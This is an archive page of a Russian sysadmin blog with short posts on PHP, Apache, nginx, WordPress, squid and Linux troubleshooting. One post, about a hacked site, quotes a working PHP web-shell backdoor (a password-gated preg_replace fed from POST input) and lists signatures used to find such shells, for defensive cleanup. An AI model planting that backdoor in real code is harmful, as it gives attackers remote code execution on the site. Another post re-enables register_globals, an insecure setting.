Архивы по Категориям: Пингивны

Внешний IP адрес

Очень часто приходится работать в разных местах, поэтому не редко приходится узнавать свой внешний IP адрес с помощью всяких whatismyip.com

Очень хотелось что-то простое, быстрое, и для консоли. Подумав и погуглив, я написал совсем простой скрипт на php с использованием socket`ов

#!/usr/bin/env php

<?php

$socket = stream_socket_server(«tcp://0.0.0.0:23″, $errno, $errstr);

if (!$socket) {
die(«$errstr ($errno)\n»);
}

while ($connect = stream_socket_accept($socket, -1)) {
$ip=stream_socket_get_name($connect,true);
$ip=explode(«:»,$ip);
fwrite($connect, $ip[0]);
fclose($connect);
}

?>

Теперь сервер, при коннекте telnet клиента на стандартный 23 порт, выдает ему его же внешний IP. Просто, изящно, но тупо.

На написание (да чего уж там, основную часть я выдрал в наглую) меня вдохновила статья на хабре

http://habrahabr.ru/company/ifree/blog/209864/

Стоит отметить, что для не stream_socket, а обычных, выдается ошибка  »Transport endpoint is not connected in», которую я так и не смог побороть.

Троянский конь. шелл на сайте

При переносе сайтов, случайно наткнулся на странные строки в логах, при обращении к одному из доменов.

Строка была вида:
File does not exist: путьксайту/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA

Меня заинтересовала откуда такой запрос вообще может быть.
Начал копать, нашел интересные вещи, а именно :

Описание парня с Украины (http://vk.com/notes39605750), который описывал что нашел странный файл на сайте.
Кроме того, это цифробуквенное сочетание использовалось в одном интересном файле http://ideone.com/fOKz4V (по всей видимости управляющий или заливающий это говно файл)
Также код встречается тут http://pastebin.com/QCZ25nqF .
Посмотрев внимательно на сайт, я видел что там кучка файлов… с содержимым отсюда : http://pastebin.com/QCZ25nqF.
Замечательно подумал я, меня поломали, но как?
После того как я убрал файлы php c кодом (http://pastebin.com/QCZ25nqF), начали запросы на подбор пароля ftp этого пользователя (у которого сайт). поскольку они не увенчались успехом, я стал дальше мониторить ситуацию (хотя меня смутило что подбор осуществлять сам мой сервер!). И тут я наткнулся на еще один странный файл php (лежал в папке с картинками) с содержимым вида:

if (md5($_POST['p']) == ’15ab5b551217a532506f5ed95d005a1a’) {
preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']); }

Вот такая штука ко мне пришла:
rdot.org/forum/showthread.php?t=1085

Пришла эта штука ко мне не сама, а ее по всей видимости залили с сайтом, так время первого вхождения такого файла совпадает с временем размещения. Но возможно это произошло и потом. Причиной появления шелла, явился плагин ckeditor с кривой функцией upload.

Чтобы проверить сайт на шеллы пришлось изучить тьму файлов.
Часто встречающиеся функции и переменные, по которым можно поймать шелл:

свои функции php — php_display($remote)
функции js — eval(function(p,a,c,k,e,d)
добавленные в самый конец js-файлов — document.write
переменные вида — $auth_pass=
файлы с обращением к function_exists(‘file_put_contents’) и кучей дерьма вида x00\x00\x00\x00\x00\x00\x10\
файлы с for($o=0,$e=’&\’()*+,-.:]^_`{|,,,|-((.(*,|)`)&(_(*,+)` и далее по тексту

find and mount cdrom in CentOS

Все обленились. Однако иногда хочется более просто подмониторовать CD в linux.

нашел простое решение для CentOs и тому подобных

yum install wodim
wodim --devices

выведет примерно:

[root@localhost ~]# wodim --devices
wodim: Overview of accessible drives (1 found) :
-------------------------------------------------------------------------
0  dev='/dev/scd0'     rwrw-- : 'NECVMWar' 'VMware IDE CDR10'
-------------------------------------------------------------------------

ну а потом все как обычно

mount /dev/scd0 /media/cdrom

Uploadify IO error 2038 http 412/413

Есть такой замечательный скрипт мульти-загрузки файликов на сервер uploadify.

Поставил его, вроде все работает. Однако, на больших файлах (более 10 Мбайт, а надо было 25) стала проявлятся ошибка. Файлики не закачивались.

После муторного просева гугла, выяснилос: необходимо прописать в файлике .htaccess такие параметры:

php_value post_max_size 35M

php_value upload_max_filesize 25M

php_value max_execution_time 600

php_value max_input_time 600

php_value memory_limit 128M

Иногда не срабатывает, потому как .htaccess должен лежать в папке с .swf  файлом, а еще лучше прописать в php.ini

С другой стороны, хотя ошибка #2038 (http 412) исчезла, появилась другая — http 413.

Эта проблема уже относится к вебсерверу:

в apache необходимо прописать

LimitRequestBody 25242880

Но у меня стоял еще nginx в качестве frontend, поэтому там необходимо было прописать:

client_max_body_size 25m;

proxy_send_timeout 120;

Теперь вроде все работает. mod_secure на который ссылаются многие по этой теме совершенно не причем.

xml и 500 error

В процессе создания одного портала, столкнулся с интересной бедой, которая выпала на мой сервер неожиданно. Когда создали sitemap.xml, оказалось что никому этот файл не доступен, хотя и присутствует на сервере. Сервер отвечал браузеру 500 ошибкой (Error) ссылаясь на какой-то дикий допотопный баг Netscape. Очень долго думая, я пришел к выводу что проблема все-таки не в сервере Apache, а проблема в интерпретаторе xml. В файле mod_php.conf я не обнаружил записи xml, и быстро это исправил.

Однако, не тут то было, даже с этой записью вылетала 500 ошибка…. В интернете информации не было, пришлось включать все возможные логи, чтобы докопаться до сути. В итоге в логе php, была найдена ошибка syntax error unexpected t_string для файла xml в первой строке. Пошарив в гугле, обнаружил что такая беда случается, если включена опция short_tags в настройках php. Так как, в этом случае php являсь обработчиком xml, думает что строка

<?xml version="1.0" encoding="UTF-8"?>

Является скриптом php, а не разметкой xml. Решение проблемы может быть разным. Отключить short_tags, но тогда некоторые движки с корявым кодингом будут сыпать ошибками.

При включенном short_tags можно решить проблему написав вместо

<?xml version=»1.0″?>

так:

<<?= ‘?’; ?>xml version=»1.0″<?= ‘?’; ?>>

Однако, есть более простое решение проблемы. Отправлять заголово с помощью php:

<?php
header("Content-Type: application/xml");
echo '<?xml version="1.0" encoding="UTF-8"?>';
?>

можно даже rewrite правило написать…. если хочется.

Linux mint Debian или LMDE

Поскольку мой горячо любимый ноутбук Samsung R70, до сих пор не чинится…. ждут запчастей, решил пока поработать на старом Gigabyte G-Max N411 (http://www.ixbt.com/portopc/g-max-n411.shtml). Ноут был старенький, его мне отдали в качестве двух половинок. Для начала пришлось соединить матрицу и туловище ноута с помощью нескольких стальных пластин выпиленных в профиль, в замен силуминовых, на которых и крепилась матрица. С другом дня за два мы сделали его, он начал работать, но жесткий диск был настолько убитым, что там запускался только BackTrack 4 и то на первых 5 Гбайт HDD. Остальная часть при попытке формата или проверки на бед блоки, быстро вешала диск. Ну а дальше…. Читать далее »

У вас недостаточно полномочий для доступа к этой странице

После переноса нескольких доменов с wordpress на борту, столкнулся с проблемой отсутствия доступа к админке. После ввода логина и пароля, вордпресс выдавал «У вас недостаточно полномочий для доступа к этой странице».

Чтобы решить это проблему, стал шустрить в интернет, и нашел замечательное описание проблемы — http://blogproblog.com/u-vas-nedostatochno-polnomochij-dlya-dostupa-k-etoj-stranice/

Из предложенных вариантов, мне помогли SQL-команды:

UPDATE `prefix_usermeta` SET `meta_key` = REPLACE( `meta_key` , 'wp_', 'prefix_' );
UPDATE `prefix_options` SET `option_name` = 'prefix_user_roles' WHERE `option_name` ='wp_user_roles' AND `blog_id` =0;

Поскольку при переносе сайтов, я менял префиксы таблиц для каждого сайта.

Изменение же констант AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY и NONCE_KEY в wp-config.php, не приводило ни к каким изменениям, кроме сброса со страницы админки на форму ввода логина и пароля админки.

Cookietracking или ошибка 500

Немного подстаривая апач, который имеет по умолчанию кучу включенных модулей, встретился с ошибкой в логах Invalid command «cookietracking». Ошибка проявлялась в том, что виртуальный сайт не откликался, а получал ошибку 500.

Лечится это путем включения модуля usertrack_module в основном конфигурационном файле апача. Для большинства простых сайтов этот модуль не нужен, а вот для некоторых плагинов wordpress необходима.

stats.pl и stream:// логи сервера

Многие сталкивались с проблемой у psychostats, что логи сервера, которые передаются потоком вида (stream://192.168.192.3:27700), не всегда удается захватить скриптом stats.pl, который идет в комплекте. Оптимальный способ для работы из под линукс это засовывание скрипта ./stats.pl -v в screen, чтобы иметь возможность просматривать всю инфу о потоке.

Читать далее »

Поднятие vpn туннеля скриптом.

Простой скрипт автоматическим поднятием туннеля на ASPlinux 7.2.

Он достаточно стар, да и перестал пользоваться, но возможно кто-то подчерпнет для себя какую-либо информацию.

eth0 — локальный интерфейс (локальная сеть, которой даем доступ)
eth1 — один провайдер Complat (прямой ип)
eth2 — другой провайдер Corbina (туннель pptp)

Читать далее »

squid

В прокси-сервере squid, если им кто-то еще до сих пор пользуется. Не часто, но возникает такая вот ошибка:

ERROR
The requested URL could not be retrieved

While trying to retrieve the URL: /tips/sml/

The following error was encountered:

* Invalid URL

Читать далее »

Проблема buffering packet lost or reordered

У меня эта проблема возникла с увеличением каналов корбины. Мучался долго, временно решил проблему неоткрытия сайтов типа www.samsung.ru, строчкой

iptables -A FORWARD -p tcp -m tcp —tcp-flags SYN,RST SYN -j TCPMSS —clamp-mss-to-pmtu

Но, увы, при больших нагрузках канала(качают по фтп, торрент и т.п.) интернет отваливался, либо же просто работал со скоростью 1-10 кбайта/сек.
Сегодня докапался еще до одной темы:
http://www.opennet.ru/base/net/pppoe_mtu.txt.html

Читать далее »

DHCPD

Решил поставить таки dhcpd.
Поставил все норм, но!
Обнаружилась проблема с вистой. Проблема заключается в мелкософте, в их мозгах. У меня не выдавались ип адреса только для wifi клиентов (они через точку доступа подключались к локалке). Через локалку с ноута, без праблем все раздавало. XP с ноутом и wifi работал на ура, мобильник тоже.

Читать далее »

PHP и GD2

Любителям издевательств над своим мозгом посвящается.

Библиотеку работы с графикой GD2 используют многие движки. Однако, иногда бывает так, что эта библиотека по каким-либо причинам не работает. Я столкнулся с такой проблемой на Slackware 13.0. По умолчанию я не ставил пакеты из директории X (по идее они и не нужны для создания чисто консольных серверов), и потому (как я уже потом понял) уперся в достаточно распространенную ошибку PHP Fatal error: Call to undefined function imagecreatetruecolor(). Читать далее »

Register_globals опять грабли

Начиная с PHP 4.2, параметр Register_globals по умолчанию находится в выключенном состоянии. Часто это проявляется когда хочешь передать что-то запросом GET скрипту на PHP. Переменные в этом случае не передаются, и можно долго тупить ища проблему там где ее нет, т.е. в коде. Безусловно, отключение глобальных переменных дает возможность обеспечить более современной защитой веб-приложения на сервере. Но все таки, для быстрой работы, грубо говоря песочницы, иногда необходимо чтобы этот параметр был включен. Чтобы не нарушать безопасность всего сервера, можно включить этот параметр в файлике .htaccess с помощью нехитрой строки:
php_flag register_globals on
и для директории в которой он (созданный файлик) находится, параметр будет работать как в старые добрые времена.
PS. Чтобы включить везде эту штуку, правим файл php.ini.

более подробно тут: http://ru.php.net/manual/en/ini.core.php#ini.register-globals